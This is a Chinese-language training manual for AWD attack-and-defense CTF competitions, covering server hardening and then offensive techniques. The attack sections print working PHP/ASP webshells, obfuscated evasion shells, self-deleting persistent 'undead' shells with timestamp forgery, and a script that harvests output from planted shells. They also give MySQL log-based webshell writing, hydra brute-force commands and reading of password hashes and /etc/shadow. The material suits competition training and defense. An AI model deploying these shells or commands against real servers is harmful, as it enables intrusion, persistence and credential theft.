长亭百川云 - 文章详情

从零学习AWD比赛指导手册

渊龙Sec安全团队

122

2024-07-13

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

AWD-Guide-Title.jpg

本手册开源地址:https://github.com/AabyssZG/AWD-Guide

这是一本能让你从零开始学习AWD并深入AWD的手册,我也会根据经验和需求逐步完善相关内容。如果你要参加AWD相关比赛,相信本项目能给你带来帮助~

如果你觉得本项目不错,欢迎给我点个Star,万分感谢~~

有什么新的攻击或者防守的姿势、手法,欢迎与我交流

0# 什么是AWD

0.1# AWD赛制介绍

「攻防模式 | AWD (Attack With Defense)」 是 CTF比赛「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。

在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

0.2# 比赛整体流程

  • 赛前准备环节:我们会分配到多个靶机服务器,通常是分配给我们 SSH 或者 VNC 的用户名和密码,还有相关IP等信息

  • 安全加固环节:我们需要先自己去登录靶机服务器,进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等)

  • 自由攻击环节:安全加固时间过后,开始自由攻击环节,通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分,对应队伍失分

1# 比赛环境

通常比赛环境有以下三种情况:

  • 混合靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04

  • 纯Linux靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04

  • 纯Windows靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7

2# 安全加固环节(Defense)

2.0# 基本加固流程

2.0.1 Windows加固流程

先备份:Web源码、数据库

  1. 445加固,开启防火墙或IP高级安全策略

  2. 开启系统日志审计功能

  3. 禁用guest账户、关闭文件共享

  4. 确保启动项内容是可控的

  5. 限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量

  6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe

  7. 恶意代码文件,通过PCHunter、Monitor查找

  8. Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容

  9. NTFS扫描磁盘查找隐藏的交换流数据

  10. 查找系统所有账户信息,禁止非Administrator账户

  11. 修改Web站点管理员访问路径、默认口令、数据库口令

  12. 安装WAF脚本,防护Web站点,禁止其他漏洞

2.0.2 Linux加固流程

先备份:Web源码、数据库

  1. 系统口令修改,团队统一口令

  2. 通过 .bash_history 查找历史命令操作,发现痕迹

  3. 查看计划任务:crontab -l;编辑计划任务:crontab -e

  4. 查看 /etc/init.d/rc.local 中启动服务有无异常

  5. 使用脚本开启进程监控、目录监控、流量监控

  6. Web站点口令,站点管理员路径修改

  7. 系统加固:iptable

2.1# 基本信息搜集

在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”

2.1.1 明确Linux机器信息

1uname -a                       //系统信息  
2ps -aux                        //查询进程信息  
3ps -ef | grep 进程名称         //筛选指定进程  
4id                             //用于显示用户ID,以及所属群组ID  
5cat /etc/passwd                //查看用户情况  
6ls /home/                      //查看用户情况  
7find / -type d -perm -002      //可写目录检查  
8ifconfig                       //Linux上查看网卡信息  

2.1.2 明确Windows机器信息

1whoami /all                    //Windows上查看用户详细信息  
2ipconfig  /all                 //Windows上查看网卡信息  

2.1.3 查看开放端口
1netstat                                                       //查看活动连接  
2netstat -ano/-a                                               //查看端口情况  
3netstat -anp                                                  //查看端口  
4firewall-cmd --zone= public --remove-port=80/tcp –permanent   //关闭端口  
5firewall-cmd –reload                                          //防火墙重启  

2.1.4 默认口令(弱口令)更改

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

还有其他默认密码admin,top100, top1000等

尤其是WEB应用的后台密码修改

1passwd username                                                  //ssh口令修改  
2set password for mycms@localhost = password('Admin7890?!');  //MySQL密码修改  
3find /var/www/html -path '*config*’                             //查找配置文件中的密码凭证  

2.1.5 找本地Flag
1grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag  
2findstr /s /i "flag" *.*       //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串  

2.1.6 设置禁Ping
1echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping  
2echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //关闭禁ping  

2.2# Web安全加固

2.2.1 备份源码

防止在对源码进行修改时出问题,或者被攻击方删除源码而准备

压缩源码:

1tar -cvf web.tar /var/www/html  
2zip -q -r web.zip /var/www/html  

解压缩源码:

1tar -xvf web.tar -c /var/www/html  
2unzip web.zip -d /var/www/html  

备份源码:

1mv web.tar /tmp  
2mv web.zip /home/xxx  

上传和下载源码:

1scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地  
2scp /path/local_filename username@servername:/path             //从本地上传单个文件到服务器  
3scp -r username@servername:remote_dir/ /tmp/local_dir          //从服务器下载整个目录到本地  
4scp -r /tmp/local_dir username@servername:remote_dir           //从本地上传整个目录到服务器  

2.2.2 设置只读权限

对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)

1chmod 0555 /var/www/html/*  
2chmod 0555 /var/www/html/*.php  

Web根目录设置只读和执行权限

1chmod 0555 /var/www/html  

改变文件的属主和属组来设置严格的权限

1chown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)  
2chown -R apache:apache /var/www/html/    //确保 apache 拥有 /var/www/html/  

2.2.3 配置 `.htaccess`

利用 .htaccess 配置文件禁止php文件执行

 1<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录  
 2Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。  
 3AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。  
 4RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml    
 5RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml        
 6//这两个指令移除指定文件扩展名的处理器和类型。  
 7//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。  
 8php_flag engine off     //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。  
 9<FilesMatch ".+\.ph(p[3457]?|t|tml)$">  
10deny from all  
11</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有  
12</Directory>
2.2.4 PHP参数安全配置

首先找到PHP的配置文件

1/etc/php/{version}/php.ini  

禁用高危函数

1disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link  

配置 open_basedir (将用户访问文件的活动范围限制在指定的区域)

1open_basedir=/var/www/html  

禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)

1magic_quotes_gpc = Off  

关闭PHP伪协议

1allow_url_fopen = Off  
2allow_url_include = Off  

重启PHP

1sudo service php7.0-fpm restart  
2sudo systemctl restart php7.0-fpm.service  

2.3# 数据库安全加固

2.3.1 Mysql加固

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

  1. 不使用默认口令,修改成复杂的,并确保和web环境连接

  2. 设置只允许本地127.0.0.1账户登录:修改 bind-address=127.0.0.1 ;在配置文件中加入 seccure_file_priv=NULL

  3. 开启日志审计功能:general_log_file=路径

因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库:

1mysqldump –u username –p password databasename > target.sql  

备份所有数据库:

1mysqldump –all -databases > all.sql  

导入数据库:

1mysql –u username –p password database < from.sql  

对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html

MySQL默认配置文件路径:

1C:\\Program Files\MySQL\MySQLServer 5.1\my.ini   //Windows  
2/etc/my.cnf                                      //Linux  
3/etc/mysql/my.cnf                                //Linux  

修改 secure_file_priv 参数(日志功能的对应目录)

1secure_file_priv=""  

重载MySQL配置

1FLUSH PRIVILEGES  

重启MySQL服务

1sudo service mysql restart  
2sudo systemctl restart mysql  

2.3.2 Mssql加固
  1. 删除不必要的账号    

  2. SQLServer用户口令安全    

  3. 根据用户分配帐号避免帐号共享

  4. 分配数据库用户所需的最小权限

  5. 网络访问限制

  6. SQLServer登录审计

  7. SQLServer安全事件审计

  8. 配置日志功能

2.4# 远程控制加固

2.4.1 SSH安全加固

限制IP登录方法

1sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件  
2AllowUsers username@192.168.0.100    //找到并编辑以下行,确保其取消注释并设置为所需的IP地址  

禁用 root 远程登录

1sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件  
2PermitRootLogin no                   //将PermitRootLogi设置为“no”  

按用户和组限制SSH登录

1sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件  
2AllowUsers testuser                  //设置只允许 testuser 登录SSH  
3AllowUsers testuser@192.168.1.100    //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH  
4AllowGroups test                     //设置用户组白名单  
5//需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录  

重启SSH服务

1sudo service sshd restart  
2sudo systemctl restart sshd.service  

2.4.2 RDP远程登录安全加固

删除默认帐户并手动添加新用户:

  • 步骤1:按 Win + R 打开运行对话框,输入 secpol.msc 并单击 “确定”

  • 步骤2:导航至此处:本地策略-->用户权限分配,再双击打开 “允许通过远程桌面服务登录”

  • 步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)

  • 步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号:

  • 步骤1:打开运行对话框,输入 regedit 并单击 “确定”

  • 步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ,向下滚动并找到 PortNumber 然后双击它

  • 步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”

2.5# 应急响应

2.5.1 查询进程线程
1netstat  
2ps -aux  
3netstat -apt  

2.5.2 杀掉进程
1kill -9 pid            //Linux上  
2taskkill /f /pid pid   //Windows上  

2.5.3 搜索WebShell文件
1find /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件  
2find ./ -name '*.php' | xargs wc -l | sort -u                  //寻找行数最短文件,一般有可能是一句话木马  
3grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    //查包含关键字的php文件  
4find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看  

2.5.4 查杀不死马

也可以利用命令自动进行查找删除

1ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9  

然后重启服务

1service php-fpm restart  

2.5.5 杀弹反弹shell

老规矩查看进程

1ps -ef  
2px -aux  
3ps -aux | grep www-data  

注意 www-data 权限的 /bin/sh,很有可能是nc

再就是上老一套命令

1kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'  

3# 自由攻击环节(Attack)

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备

  2. 扫描工具:Nmap、Nessus、Metasploit更新

  3. 漏洞利用脚本Poc、Exp

3.1# 基本信息搜集

3.1.1 主机信息搜集

Nmap

1namp -sn 192.168.0.0/24            //C段存活扫描  

httpscan

1httpscan.py 192.168.0.0/24 –t 10   //C段存活扫描  

3.1.2 端口扫描

1nmap -sV 192.168.0.2               //扫描主机系统版本  
2nmap -sS 192.168.0.2               //扫描主机常用端口  
3nmap -sS -p 80,445 192.168.0.2     //扫描主机部分端口  
4nmap -sS -p- 192.168.0.2           //扫描主机全部端口  

Python脚本

1import requests  
2  
3for x in range(2,255):   
4    url = "http://192.168.1.{}".format(x)   
5    try:   
6        r = requests.post(url)   
7        print(url)   
8        except:   
9        pass  

3.2# 外部打点

3.2.0 常见系统漏洞
  • MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html)

  • MySQL进行UDF提权(SQL注入或者MySQL弱口令)

  • MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令)

  • SSH弱口令或默认口令

  • PWN(这个要看具体AWD比赛提供的内容了)

3.2.1 中间件漏洞
  • IIS(解析漏洞、远程代码执行)

  • Apache(解析漏洞)

  • Nginx(解析漏洞)

  • Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)

  • Mysql(弱口令)

  • Tomcat(弱口令Getshell)

  • Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)

  • SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html)

3.2.2 集成服务环境漏洞
  • wampserver

  • xamppserver

3.2.3 CMS漏洞利用

搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:

  • Aspcms

  • Dedecms

  • Dicuz

  • Drupal

  • Empirecms

  • Eshop

  • Finecms

  • Joomla

  • Lamp

  • Metainfo

  • Phpcms

  • Phpwind

  • Qibocms

  • Seacms

  • Semcms

  • ThinkPHP

  • Wolfcms

  • Wordpress

  • Zabbix

备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破

3.2.4 上传WebShell

常见一句话木马

1PHP: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);  
2Asp:   <%eval request ("pass")%>  
3Aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>  

Get型木马

1<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);  

免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide

1<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令  
2<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);   //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell  

隐藏的文件读取

1<?php  
2header(php'flag:'.file_get_contents('/flag'));  

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现

3.2.5 利用WebShell

curl(跟hackbar差不多)

1C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"  
2//向shell.php文件里传入参数并返回结果  

Python多端口传参

 1#coding=utf-8  
 2import requests  
 3  
 4url_head="http://192.168.182.130"   #网段  
 5url=""  
 6shell_addr="/upload/url/shell.php" #木马路径  
 7passwd="pass"                   #木马密码  
 8#port="80"  
 9payload = {passwd: 'System(\'cat /flag\');'}  
10# find / -name "flag*"  
11  
12#清空上次记录  
13flag=open("flag.txt","w")  
14flag.close()  
15flag=open("flag.txt","a")  
16  
17for i in range(8000,8004):  
18    url=url_head+":"+str(i)+shell_addr  
19    try:  
20        res=requests.post(url,payload)#,timeout=1  
21        if res.status_code == requests.codes.ok:  
22            result = res.text  
23            print (result)  
24            flag.write(result+"\n")   
25        else:  
26            print ("shell 404")  
27    except:  
28        print (url+" connect shell fail")  
29  
30flag.close()
3.2.6 MySQL数据库利用

具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html

1、查看MySQL版本

1show variables like '%version%';  
2select version();      #这个只显示MySQL版本号  

2、查看 load_file() 开启状态

1show variables like '%secure%';       #这条可查看详细信息  
2show global variables like '%secure_file_priv%';  

3、查看日志功能是否开启和对应目录

1SHOW VARIABLES LIKE 'general%';  
2set global general_log = "ON";  
3set global general_log_file='/var/www/html/test.php';   #可以写入WebShell然后直接连接蚁剑  
4  
5# 往日志里面写入 WebShell  
6select '<?php @eval($_POST['AabyssTeam']);?>';  
7# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现  

小技巧:获取MySQL账户和对应密码Hash

1# MySQL <= 5.6 版本  
2select host, user, password from mysql.user;  
3  
4# MySQL >= 5.7 版本  
5select host,user,authentication_string from mysql.user;  

3.2.7 弱口令爆破

爆破SSH密码

1hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh  
2hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100  
3hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40      //40是⽬标服务开放的端⼝  

爆破FTP密码

1hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp  
2hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/  

爆破RDP远程桌面密码

1hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V  

爆破Telnet

1hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V  

爆破MSSQL数据库

1hydra -l sa -P 密码字典.txt 目标IP地址 mssql  

爆破MySQL数据库

1hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql  

3.3# 内网渗透

3.3.1 权限维持之不死马

简单不死马:

 1<?php  
 2set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长  
 3ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行  
 4unlink(__FILE__);     //删除自身  
 5  
 6while(1)  
 7{  
 8    file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>');  //创建shell.php  
 9    sleep(0);    //间隔时间  
10}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马:

 1<?php  
 2set_time_limit(0);   // 取消脚本运行时间的超时上限  
 3ignore_user_abort(1);  //   
 4  
 5while(1)  
 6{  
 7    file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>');  //创建shell.php  
 8    sleep(0);  
 9}  
10  
11//passwd=AabyssTeam  
12//POST传参:passwd=AabyssTeam&cmd=system('ls');

进阶不死马:

 1<?php  
 2ignore_user_abort(true);  
 3set_time_limit(0);  
 4unlink(__FILE__);  
 5$file = 'shell.php';  
 6$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';  
 7  
 8while (1){  
 9    file_put_contents($file,$code);  
10    system('touch -m -d "2020-12-01 09:10:12" shell.php');  //修改时间,防止被删  
11    usleep(5000);  
12}  
13?>  
14  
15//passwd=AabyssTeam  
16//POST传参:passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马:

 1<?php  
 2ignore_user_abort(true);  
 3set_time_limit(0);  
 4unlink(__FILE__);  
 5$file = '.login.php';  
 6$file1 = '/admin/.register.php';   
 7$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';  
 8  
 9while (1){  
10    file_put_contents($file,$code);  
11    system('touch -m -d "2020-12-01 18:10:12" .login.php');  
12    file_put_contents($file1,$code);  
13    system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');  
14    usleep(5000);  
15}  
16?>  
17  
18//passwd=AabyssTeam  
19//POST传参:passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell,会自动生成两个不死马:.login.php/admin/.register.php

3.3.2 关键文件检索

组件检索

1find / -name "apaech2.conf"                 //检索Apache主配置文件  
2find / -name "nginx.conf"                   //检索Nginx目录  
3find / -path "*nginx*" -name nginx*conf     //检索Nginx配置目录  
4find / -name "httpd.conf"                   //检索Apache目录  
5find / -path "*apache*" -name apache*conf   //检索Apache配置目录  

网站首页

1find / -name "index.php"                    //定位网站目录  
2find / -name "index.html"                   //定位网站目录  

日志文件检索

1/var/log/nginx/                           //默认Nginx日志目录  
2/var/log/apache/                          //默认Apache日志目录  
3/var/log/apache2/                         //默认Apache日志目录  
4/usr/local/tomcat/logs                    //Tomcat日志目录  
5tail -f xxx.log                           //实时刷新滚动日志文件  

3.3.3 Linux提权

查询系统版本信息命令:

1cat /etc/issue  
2cat /etc/*-release  
3cat /etc/lsb-release  
4cat /etc/redhat-release  
5  

查询内核版本信息命令:

1uname -a  
2uname -mrs  
3cat /proc/version  
4cat /etc/issue  
5lsb_release -a  
6hostnamectl    
7rpm -q kernel  
8dmesg | grep Linux  
9ls /boot | grep vmlinuz  

查看系统环境变量命令:

1cat /etc/profile  
2cat /etc/bashrc  
3cat ~/.bash_profile  
4cat ~/.bashrc  
5cat ~/.bash_logout  
6env  
7set  

查看语言环境信息命令:

1find / -name perl*  
2find / -name python*  
3find / -name gcc*  
4find / -name cc  
5set  

查看文件上传环境信息命令:

1find / -name wget  
2find / -name nc*  
3find / -name netcat*  
4find / -name tftp*  
5find / -name ftp  

这里列举一些可用利用的提权漏洞:

  • CVE-2023-0386(Linux OverlayFS权限提升漏洞)

  • CVE-2021-4034(Linux Polkit本地权限提升漏洞)

  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 )

  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64))

  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8)

  • CVE-2017-1000367(sudo本地提权漏洞 )

  • CVE-2016-1247(Nginx权限提升漏洞)

  • CVE-2017-16995(Ubuntu16.04   kernel:4.14-4.4)

Kali命令查询:

1searchsploit CentOS 7  
2searchsploit Ubuntu 16.04  

提权Exploit寻找:

编译提权Exp

1gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall  

直接提权,确认权限:

1cat /etc/shadow  

其他提权姿势:https://www.freebuf.com/articles/system/244627.html

3.3.4 Windows提权

这里列举一些Windows的漏洞:

  • 各种Potato(Github上面基本都有)

  • CVE-2023-35359(Windows内核权限提升漏洞,开源了)

  • CVE-2022-24521(没有Exp的可以找我要)

  • CVE-2019-1405

  • CVE-2019-1322

  • MS17-017(整型溢出漏洞)

4# 参考链接


我是曾哥,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2